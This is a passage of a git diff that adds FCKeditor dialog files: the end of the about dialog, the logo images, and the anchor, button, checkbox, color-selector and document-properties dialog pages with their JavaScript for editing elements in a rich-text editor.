+                       <ul>
+                               <li style="margin-bottom:15px">
+                                       <b>GNU General Public License</b> Version 2 or later (the "GPL")<br />
+                                       <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">http://www.gnu.org/licenses/gpl.html</a>
+                               </li>
+                               <li style="margin-bottom:15px">
+                                       <b>GNU Lesser General Public License</b> Version 2.1 or later (the "LGPL")<br />
+                                       <a href="http://www.gnu.org/licenses/lgpl.html" target="_blank">http://www.gnu.org/licenses/lgpl.html</a>
+                               </li>
+                               <li>
+                                       <b>Mozilla Public License</b> Version 1.1 or later (the "MPL")<br />
+                                       <a href="http://www.mozilla.org/MPL/MPL-1.1.html" target="_blank">http://www.mozilla.org/MPL/MPL-1.1.html</a>
+                          </li>
+                       </ul>
+       </div>
+       <div id="divInfo" style="display: none" dir="ltr">
+               <table align="center" width="80%" border="0">
+                       <tr>
+                               <td>
+                                       <script type="text/javascript">
+<!--
+document.write( '<b>User Agent<\/b><br />' + window.navigator.userAgent + '<br /><br />' ) ;
+document.write( '<b>Browser<\/b><br />' + window.navigator.appName + ' ' + window.navigator.appVersion + '<br /><br />' ) ;
+document.write( '<b>Platform<\/b><br />' + window.navigator.platform + '<br /><br />' ) ;
+
+var sUserLang = '?' ;
+
+if ( window.navigator.language )
+       sUserLang = window.navigator.language.toLowerCase() ;
+else if ( window.navigator.userLanguage )
+       sUserLang = window.navigator.userLanguage.toLowerCase() ;
+
+document.write( '<b>User Language<\/b><br />' + sUserLang ) ;
+//-->
+                                       </script>
+                               </td>
+                       </tr>
+               </table>
+       </div>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_about/logo_fckeditor.gif b/fckeditor/editor/dialog/fck_about/logo_fckeditor.gif
new file mode 100755 (executable)
index 0000000..b7d6bc6
Binary files /dev/null and b/fckeditor/editor/dialog/fck_about/logo_fckeditor.gif differ
diff --git a/fckeditor/editor/dialog/fck_about/logo_fredck.gif b/fckeditor/editor/dialog/fck_about/logo_fredck.gif
new file mode 100755 (executable)
index 0000000..3108dd9
Binary files /dev/null and b/fckeditor/editor/dialog/fck_about/logo_fredck.gif differ
diff --git a/fckeditor/editor/dialog/fck_anchor.html b/fckeditor/editor/dialog/fck_anchor.html
new file mode 100755 (executable)
index 0000000..d7df990
--- /dev/null
@@ -0,0 +1,232 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_anchor.html
+ *     Anchor dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Alfonso Martinez de Lizarrondo - Uritec (alfonso at uritec dot net)
+-->
+<html>
+       <head>
+               <title>Anchor Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor    = window.parent.InnerDialogLoaded() ;
+var FCK                = oEditor.FCK ;
+var FCKBrowserInfo = oEditor.FCKBrowserInfo ;
+var FCKTools = oEditor.FCKTools ;
+var FCKRegexLib = oEditor.FCKRegexLib ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oFakeImage = FCK.Selection.GetSelectedElement() ;
+var oAnchor ;
+
+if ( oFakeImage )
+{
+       if ( oFakeImage.tagName == 'IMG' && oFakeImage.getAttribute('_fckanchor') )
+               oAnchor = FCK.GetRealElement( oFakeImage ) ;
+       else
+               oFakeImage = null ;
+}
+
+//Search for a real anchor
+if ( !oFakeImage )
+{
+       oAnchor = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+       if ( oAnchor )
+               FCK.Selection.SelectNode( oAnchor ) ;
+}
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oAnchor )
+               GetE('txtName').value = oAnchor.name ;
+       else
+               oAnchor = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       var sNewName = GetE('txtName').value ;
+
+       // Remove any illegal character in a name attribute:
+       // A name should start with a letter, but the validator passes anyway.
+       sNewName = sNewName.replace( /[^\w-_\.:]/g, '_' ) ;
+
+       if ( sNewName.length == 0 )
+       {
+               // Remove the anchor if the user leaves the name blank
+               if ( oAnchor )  
+               {
+                       RemoveAnchor() ;
+                       return true ;
+               }
+
+               alert( oEditor.FCKLang.DlgAnchorErrorName ) ;
+               return false ;
+       }
+       
+       oEditor.FCKUndo.SaveUndoStep() ;
+       
+       if ( oAnchor )  // Modifying an existent anchor.
+       {
+               ReadjustLinksToAnchor( oAnchor.name, sNewName );
+
+               // Buggy explorer, bad bad browser. http://alt-tag.com/blog/archives/2006/02/ie-dom-bugs/
+               // Instead of just replacing the .name for the existing anchor (in order to preserve the content), we must remove the .name
+               // and assign .name, although it won't appear until it's specially processed in fckxhtml.js
+
+               // We remove the previous name
+               oAnchor.removeAttribute( 'name' ) ;
+               // Now we set it, but later we must process it specially
+               oAnchor.name = sNewName ;
+
+               return true ;
+       }
+
+       // Create a new anchor preserving the current selection
+       oAnchor = oEditor.FCK.CreateLink( '#' ) ;
+       if ( !oAnchor )
+       {
+               // Nothing was selected, so now just create a normal A
+               oAnchor = oEditor.FCK.CreateElement( 'a' ) ; 
+       }
+       else
+       {
+               // Remove the fake href
+               oAnchor.removeAttribute( 'href' ) ; 
+       }
+       // Set the name
+       oAnchor.name = sNewName ;
+
+       // IE does require special processing to show the Anchor's image
+       // Opera doesn't allow to select empty anchors
+       if ( FCKBrowserInfo.IsIE || FCKBrowserInfo.IsOpera )
+       {
+               if ( oAnchor.innerHTML != '' )
+               {
+                       if ( FCKBrowserInfo.IsIE )
+                               oAnchor.className += ' FCK__AnchorC' ;
+               }
+               else
+               {
+                       // Create a fake image for both IE and Opera
+                       var oImg = oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Anchor', oAnchor.cloneNode(true) ) ;
+                       oImg.setAttribute( '_fckanchor', 'true', 0 ) ;
+                       
+                       oAnchor.parentNode.insertBefore( oImg, oAnchor ) ;
+                       oAnchor.parentNode.removeChild( oAnchor ) ;
+               }
+
+       }
+
+       return true ;
+}
+
+// Removes the current anchor from the document
+function RemoveAnchor()
+{
+       // If it's also a link, then just remove the name and exit
+       if ( oAnchor.href.length != 0 )
+       {
+               oAnchor.removeAttribute( 'name' ) ;
+               // Remove temporary class for IE
+               if ( FCKBrowserInfo.IsIE )
+                       oAnchor.className = oAnchor.className.replace( FCKRegexLib.FCK_Class, '' ) ;
+               return ;
+       }
+
+       // We need to remove the anchor
+       // If we got a fake image, then just remove it and we're done
+       if ( oFakeImage )
+       {
+               oFakeImage.parentNode.removeChild( oFakeImage ) ;
+               return ;
+       }
+       // Empty anchor, so just remove it
+       if ( oAnchor.innerHTML.length == 0 )
+       {
+               oAnchor.parentNode.removeChild( oAnchor ) ;
+               return ;
+       }
+       // Anchor with content, leave the content
+       FCKTools.RemoveOuterTags( oAnchor ) ;
+}
+
+// Checks all the links in the current page pointing to the current name and changes them to the new name
+function ReadjustLinksToAnchor( sCurrent, sNew )
+{
+       var oDoc = FCK.EditorDocument ;
+       
+       var aLinks = oDoc.getElementsByTagName( 'A' ) ;
+
+       var sReference = '#' + sCurrent ;
+       // The url of the document, so we check absolute and partial references.
+       var sFullReference = oDoc.location.href.replace( /(#.*$)/, '') ;
+       sFullReference += sReference ;
+
+       var oLink ;
+       var i = aLinks.length - 1 ;
+       while ( i >= 0 && ( oLink = aLinks[i--] ) )
+       {
+               var sHRef = oLink.getAttribute( '_fcksavedurl' ) ;
+               if ( sHRef == null )
+                       sHRef = oLink.getAttribute( 'href' , 2 ) || '' ;
+
+               if ( sHRef == sReference || sHRef == sFullReference )
+               {
+                       oLink.href = '#' + sNew ;
+                       SetAttribute( oLink, '_fcksavedurl', '#' + sNew ) ;
+               }
+       }
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgAnchorName">Anchor Name</span><BR>
+                                                               <input id="txtName" style="WIDTH: 100%" type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_button.html b/fckeditor/editor/dialog/fck_button.html
new file mode 100755 (executable)
index 0000000..753e0ac
--- /dev/null
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_button.html
+ *     Button dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Button Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName.toUpperCase() == "INPUT" && ( oActiveEl.type == "button" || oActiveEl.type == "submit" || oActiveEl.type == "reset" ) )
+       {
+               GetE('txtName').value   = oActiveEl.name ;
+               GetE('txtValue').value  = oActiveEl.value ;
+               GetE('txtType').value   = oActiveEl.type ;
+
+               GetE('txtType').disabled = true ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = GetE('txtType').value ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       oActiveEl.name = GetE('txtName').value ;
+       SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td align="center">
+                               <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                       <tr>
+                                               <td colspan="">
+                                                       <span fcklang="DlgCheckboxName">Name</span><br />
+                                                       <input type="text" size="20" id="txtName" style="width: 100%" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgButtonText">Text (Value)</span><br />
+                                                       <input type="text" id="txtValue" style="width: 100%" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgButtonType">Type</span><br />
+                                                       <select id="txtType">
+                                                               <option fcklang="DlgButtonTypeBtn" value="button" selected="selected">Button</option>
+                                                               <option fcklang="DlgButtonTypeSbm" value="submit">Submit</option>
+                                                               <option fcklang="DlgButtonTypeRst" value="reset">Reset</option>
+                                                       </select>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_checkbox.html b/fckeditor/editor/dialog/fck_checkbox.html
new file mode 100755 (executable)
index 0000000..15f0433
--- /dev/null
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_checkbox.html
+ *     Checkbox dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Checkbox Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'INPUT' && oActiveEl.type == 'checkbox' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtValue').value          = oEditor.FCKBrowserInfo.IsIE ? oActiveEl.value : GetAttribute( oActiveEl, 'value' ) ;
+               GetE('txtSelected').checked     = oActiveEl.checked ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = 'checkbox' ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       if ( GetE('txtName').value.length > 0 )
+               oActiveEl.name = GetE('txtName').value ;
+               
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               oActiveEl.value = GetE('txtValue').value ;
+       else
+               SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       var bIsChecked = GetE('txtSelected').checked ;
+       SetAttribute( oActiveEl, 'checked', bIsChecked ? 'checked' : null ) ;   // For Firefox
+       oActiveEl.checked = bIsChecked ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxName">Name</span><br>
+                                                               <input type="text" size="20" id="txtName" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxValue">Value</span><br>
+                                                               <input type="text" size="20" id="txtValue" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td><input type="checkbox" id="txtSelected"><label for="txtSelected" fckLang="DlgCheckboxSelected">Checked</label></td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_colorselector.html b/fckeditor/editor/dialog/fck_colorselector.html
new file mode 100755 (executable)
index 0000000..f17ee94
--- /dev/null
@@ -0,0 +1,175 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_colorselector.html
+ *     Color Selection dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               <meta name="robots" content="noindex, nofollow" />
+               <style TYPE="text/css">
+                       #ColorTable             { cursor: pointer ; cursor: hand ; }
+                       #hicolor                { height: 74px ; width: 74px ; border-width: 1px ; border-style: solid ; }
+                       #hicolortext    { width: 75px ; text-align: right ; margin-bottom: 7px ; }
+                       #selhicolor             { height: 20px ; width: 74px ; border-width: 1px ; border-style: solid ; }
+                       #selcolor               { width: 75px ; height: 20px ; margin-top: 0px ; margin-bottom: 7px ; }
+                       #btnClear               { width: 75px ; height: 22px ; margin-bottom: 6px ; }
+                       .ColorCell              { height: 15px ; width: 15px ; }
+               </style>
+               <script type="text/javascript">
+               
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+       
+       CreateColorTable() ;
+       
+       window.parent.SetOkButton( true ) ;     
+       window.parent.SetAutoSize( true ) ;
+}
+
+function CreateColorTable()
+{
+       // Get the target table.
+       var oTable = document.getElementById('ColorTable') ;
+
+       // Create the base colors array.
+       var aColors = ['00','33','66','99','cc','ff'] ;
+
+       // This function combines two ranges of three values from the color array into a row.
+       function AppendColorRow( rangeA, rangeB )
+       {
+               for ( var i = rangeA ; i < rangeA + 3 ; i++ ) 
+               { 
+                       var oRow = oTable.insertRow(-1) ; 
+
+                       for ( var j = rangeB ; j < rangeB + 3 ; j++ ) 
+                       { 
+                               for ( var n = 0 ; n < 6 ; n++ ) 
+                               { 
+                                       AppendColorCell( oRow, '#' + aColors[j] + aColors[n] + aColors[i] ) ; 
+                               } 
+                       } 
+               }
+       }
+
+       // This function create a single color cell in the color table.
+       function AppendColorCell( targetRow, color )
+       {
+               var oCell = targetRow.insertCell(-1) ;
+               oCell.className = 'ColorCell' ;
+               oCell.bgColor = color ;
+               
+               oCell.onmouseover = function()
+               {
+                       document.getElementById('hicolor').style.backgroundColor = this.bgColor ;
+                       document.getElementById('hicolortext').innerHTML = this.bgColor ;
+               }
+               
+               oCell.onclick = function()
+               {
+                       document.getElementById('selhicolor').style.backgroundColor = this.bgColor ;
+                       document.getElementById('selcolor').value = this.bgColor ;
+               }
+       }
+
+       AppendColorRow( 0, 0 ) ;
+       AppendColorRow( 3, 0 ) ;
+       AppendColorRow( 0, 3 ) ;
+       AppendColorRow( 3, 3 ) ;
+
+       // Create the last row.
+       var oRow = oTable.insertRow(-1) ;
+       
+       // Create the gray scale colors cells.
+       for ( var n = 0 ; n < 6 ; n++ )
+       {
+               AppendColorCell( oRow, '#' + aColors[n] + aColors[n] + aColors[n] ) ; 
+       }
+       
+       // Fill the row with black cells.
+       for ( var i = 0 ; i < 12 ; i++ )
+       {
+               AppendColorCell( oRow, '#000000' ) ; 
+       }
+}
+
+function Clear()
+{
+       document.getElementById('selhicolor').style.backgroundColor = '' ;
+       document.getElementById('selcolor').value = '' ;
+}
+
+function ClearActual()
+{
+       document.getElementById('hicolor').style.backgroundColor = '' ;
+       document.getElementById('hicolortext').innerHTML = '&nbsp;' ;
+}
+
+function UpdateColor()
+{
+       try               { document.getElementById('selhicolor').style.backgroundColor = document.getElementById('selcolor').value ; }
+       catch (e) { Clear() ; }
+}
+
+function Ok()
+{
+       if ( typeof(window.parent.dialogArguments.CustomValue) == 'function' )
+               window.parent.dialogArguments.CustomValue( document.getElementById('selcolor').value ) ;
+
+       return true ;
+}
+               </script>
+       </head>
+       <body onload="OnLoad()" scroll="no" style="OVERFLOW: hidden">
+               <table cellpadding="0" cellspacing="0" border="0" width="100%" height="100%">
+                       <tr>
+                               <td align="center" valign="middle">
+                                       <table border="0" cellspacing="5" cellpadding="0" width="100%">
+                                               <tr>
+                                                       <td valign="top" align="center" nowrap width="100%">
+                                                               <table id="ColorTable" border="0" cellspacing="0" cellpadding="0" width="270" onmouseout="ClearActual();">
+                                                               </table>
+                                                       </td>
+                                                       <td valign="top" align="left" nowrap>
+                                                               <span fckLang="DlgColorHighlight">Highlight</span>
+                                                               <div id="hicolor"></div>
+                                                               <div id="hicolortext">&nbsp;</div>
+                                                               <span fckLang="DlgColorSelected">Selected</span>
+                                                               <div id="selhicolor"></div>
+                                                               <input id="selcolor" type="text" maxlength="20" onchange="UpdateColor();">
+                                                               <br>
+                                                               <input id="btnClear" type="button" fckLang="DlgColorBtnClear" value="Clear" onclick="Clear();" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_docprops.html b/fckeditor/editor/dialog/fck_docprops.html
new file mode 100755 (executable)
index 0000000..6f4b68e
--- /dev/null
@@ -0,0 +1,604 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_docprops.html
+ *     Link dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'General'                , FCKLang.DlgDocGeneralTab ) ;
+window.parent.AddTab( 'Background'     , FCKLang.DlgDocBackTab ) ;
+window.parent.AddTab( 'Colors'         , FCKLang.DlgDocColorsTab ) ;
+window.parent.AddTab( 'Meta'           , FCKLang.DlgDocMetaTab ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE( 'divGeneral'             , ( tabCode == 'General' ) ) ;
+       ShowE( 'divBackground'  , ( tabCode == 'Background' ) ) ;
+       ShowE( 'divColors'              , ( tabCode == 'Colors' ) ) ;
+       ShowE( 'divMeta'                , ( tabCode == 'Meta' ) ) ;
+
+       ShowE( 'ePreview'               , ( tabCode == 'Background' || tabCode == 'Colors' ) ) ;
+}
+
+//#### Get Base elements from the document: BEGIN
+
+// The HTML element of the document.
+var oHTML = FCK.EditorDocument.getElementsByTagName('html')[0] ;
+
+// The HEAD element of the document.
+var oHead = oHTML.getElementsByTagName('head')[0] ;
+
+var oBody = FCK.EditorDocument.body ;
+
+// This object contains all META tags defined in the document.
+var oMetaTags = new Object() ;
+
+// Get all META tags defined in the document.
+AppendMetaCollection( oMetaTags, oHead.getElementsByTagName('meta') ) ;
+AppendMetaCollection( oMetaTags, oHead.getElementsByTagName('fck:meta') ) ;
+
+function AppendMetaCollection( targetObject, metaCollection )
+{
+       // Loop throw all METAs and put it in the HashTable.
+       for ( var i = 0 ; i < metaCollection.length ; i++ )
+       {
+               // Try to get the "name" attribute.
+               var sName = GetAttribute( metaCollection[i], 'name', GetAttribute( metaCollection[i], '___fcktoreplace:name', '' ) ) ;
+
+               // If no "name", try with the "http-equiv" attribute.
+               if ( sName.length == 0 )
+               {
+                       if ( oEditor.FCKBrowserInfo.IsIE )
+                       {
+                               // Get the http-equiv value from the outerHTML.
+                               var oHttpEquivMatch = metaCollection[i].outerHTML.match( oEditor.FCKRegexLib.MetaHttpEquiv ) ;
+                               if ( oHttpEquivMatch )
+                                       sName = oHttpEquivMatch[1] ;
+                       }
+                       else
+                               sName = GetAttribute( metaCollection[i], 'http-equiv', '' ) ;
+               }
+
+               if ( sName.length > 0 )
+                       targetObject[ sName.toLowerCase() ] = metaCollection[i] ;
+       }
+}
+
+//#### END
+
+// Set a META tag in the document.
+function SetMetadata( name, content, isHttp )
+{
+       if ( content.length == 0 )
+       {
+               RemoveMetadata( name ) ;
+               return ;
+       }
+
+       var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+       if ( !oMeta )
+       {
+               oMeta = oHead.appendChild( FCK.EditorDocument.createElement('META') ) ;
+
+               if ( isHttp )
+                       SetAttribute( oMeta, 'http-equiv', name ) ;
+               else
+               {
+                       // On IE, it is not possible to set the "name" attribute of the META tag.
+                       // So a temporary attribute is used and it is replaced when getting the
+                       // editor's HTML/XHTML value. This is sad, I know :(
+                       if ( oEditor.FCKBrowserInfo.IsIE )
+                               SetAttribute( oMeta, '___fcktoreplace:name', name ) ;
+                       else
+                               SetAttribute( oMeta, 'name', name ) ;
+               }
+
+               oMetaTags[ name.toLowerCase() ] = oMeta ;
+       }
+
+       SetAttribute( oMeta, 'content', content ) ;
+//     oMeta.content = content ;
+}
+
+function RemoveMetadata( name )
+{
+       var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+       if ( oMeta && oMeta != null )
+       {
+               oMeta.parentNode.removeChild( oMeta ) ;
+               oMetaTags[ name.toLowerCase() ] = null ;
+       }
+}
+
+function GetMetadata( name )
+{
+       var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+       if ( oMeta && oMeta != null )
+               return oMeta.getAttribute( 'content', 2 ) ;
+       else
+               return '' ;
+}
+
+window.onload = function ()
+{
+       // Show/Hide the "Browse Server" button.
+       GetE('tdBrowse').style.display = oEditor.FCKConfig.ImageBrowser ? "" : "none";
+
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       FillFields() ;
+
+       UpdatePreview() ;
+
+       // Show the "Ok" button.
+       window.parent.SetOkButton( true ) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+function FillFields()
+{
+       // ### General Info
+       GetE('txtPageTitle').value = FCK.EditorDocument.title ;
+
+       GetE('selDirection').value      = GetAttribute( oHTML, 'dir', '' ) ;
+       GetE('txtLang').value           = GetAttribute( oHTML, 'xml:lang', GetAttribute( oHTML, 'lang', '' ) ) ;        // "xml:lang" takes precedence to "lang".
+
+       // Character Set Encoding.
+//     if ( oEditor.FCKBrowserInfo.IsIE )
+//             var sCharSet = FCK.EditorDocument.charset ;
+//     else
+               var sCharSet = GetMetadata( 'Content-Type' ) ;
+
+       if ( sCharSet != null && sCharSet.length > 0 )
+       {
+//             if ( !oEditor.FCKBrowserInfo.IsIE )
+                       sCharSet = sCharSet.match( /[^=]*$/ ) ;
+
+               GetE('selCharSet').value = sCharSet ;
+
+               if ( GetE('selCharSet').selectedIndex == -1 )
+               {
+                       GetE('selCharSet').value = '...' ;
+                       GetE('txtCustomCharSet').value = sCharSet ;
+
+                       CheckOther( GetE('selCharSet'), 'txtCustomCharSet' ) ;
+               }
+       }
+
+       // Document Type.
+       if ( FCK.DocTypeDeclaration && FCK.DocTypeDeclaration.length > 0 )
+       {
+               GetE('selDocType').value = FCK.DocTypeDeclaration ;
+
+               if ( GetE('selDocType').selectedIndex == -1 )
+               {
+                       GetE('selDocType').value = '...' ;
+                       GetE('txtDocType').value = FCK.DocTypeDeclaration ;
+
+                       CheckOther( GetE('selDocType'), 'txtDocType' ) ;
+               }
+       }
+
+       // Document Type.
+       GetE('chkIncXHTMLDecl').checked = ( FCK.XmlDeclaration && FCK.XmlDeclaration.length > 0 ) ;
+
+       // ### Background
+       GetE('txtBackColor').value = GetAttribute( oBody, 'bgColor'             , '' ) ;
+       GetE('txtBackImage').value = GetAttribute( oBody, 'background'  , '' ) ;
+       GetE('chkBackNoScroll').checked = ( GetAttribute( oBody, 'bgProperties', '' ).toLowerCase() == 'fixed' ) ;
+
+       // ### Colors
+       GetE('txtColorText').value              = GetAttribute( oBody, 'text'   , '' ) ;
